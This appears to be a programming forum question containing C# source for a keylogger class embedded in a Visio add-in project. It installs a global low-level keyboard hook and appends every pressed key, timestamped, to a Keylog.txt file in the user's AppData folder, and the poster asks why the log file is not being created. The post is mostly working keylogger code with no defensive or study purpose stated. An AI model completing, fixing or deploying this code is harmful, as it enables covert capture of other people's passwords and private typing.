I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.

namespace VisioAddIn1
{
    public partial class ThisAddIn
    {
        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
        }

        public partial class KeyloggerForm : Form
        {
            private static IntPtr hookId = IntPtr.Zero;
            private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
            private readonly LowLevelKeyboardProc keyboardProcess;

            private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

            public KeyloggerForm()
            {
                InitializeComponent();
                EnsureLogFileExists();
                keyboardProcess = HookCallback;
                hookId = SetHook(keyboardProcess);
            }

            private void EnsureLogFileExists()
            {
                try
                {
                    if (!File.Exists(logFilePath))
                    {
                        using (FileStream fs = File.Create(logFilePath)) { }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error creating log file: {ex.Message}");
                }
            }

            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                try
                {
                    using (Process curProcess = Process.GetCurrentProcess())
                    using (ProcessModule curModule = curProcess.MainModule)
                    {
                        IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
                        if (hook == IntPtr.Zero)
                        {
                            int errorCode = Marshal.GetLastWin32Error();
                            Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
                        }
                        return hook;
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error setting hook: {ex.Message}");
                    return IntPtr.Zero;
                }
            }

            private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
                {
                    KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
                    Keys key = (Keys)kbdStruct.vkCode;

                    try
                    {
                        File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error logging key: {ex.Message}");
                    }
                }
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }

            private class KeyHelper
            {
                public const int WM_KEYDOWN = 0x100;
                public const int WM_KEYUP = 0x101;
                public const int WM_SYSKEYDOWN = 0x104;
                public const int WM_SYSKEYUP = 0x105;
            }

            [StructLayout(LayoutKind.Sequential)]
            private struct KBDLLHOOKSTRUCT
            {
                public uint vkCode; // Virtual key code
                public uint scanCode; // Hardware scan code
                public uint flags; // Extended key flags
                public uint time; // Time stamp for the event
                public IntPtr dwExtraInfo; // Additional info
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                UnhookWindowsHookEx(hookId);
                base.OnFormClosed(e);
            }

            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new KeyloggerForm());
            }
        }
    }
}

I’ve made a mistake where I should added the

[DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

and that is why I think the hook is improperly managed and can’t write the keylogger data in

private void EnsureLogFileExists()
{
    try
    {
        if (!File.Exists(logFilePath))
        {
            using (FileStream fs = File.Create(logFilePath)) { }
        }
    }
    catch (Exception ex)
    {
        Debug.WriteLine($"Error creating log file: {ex.Message}");
    }
}

The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?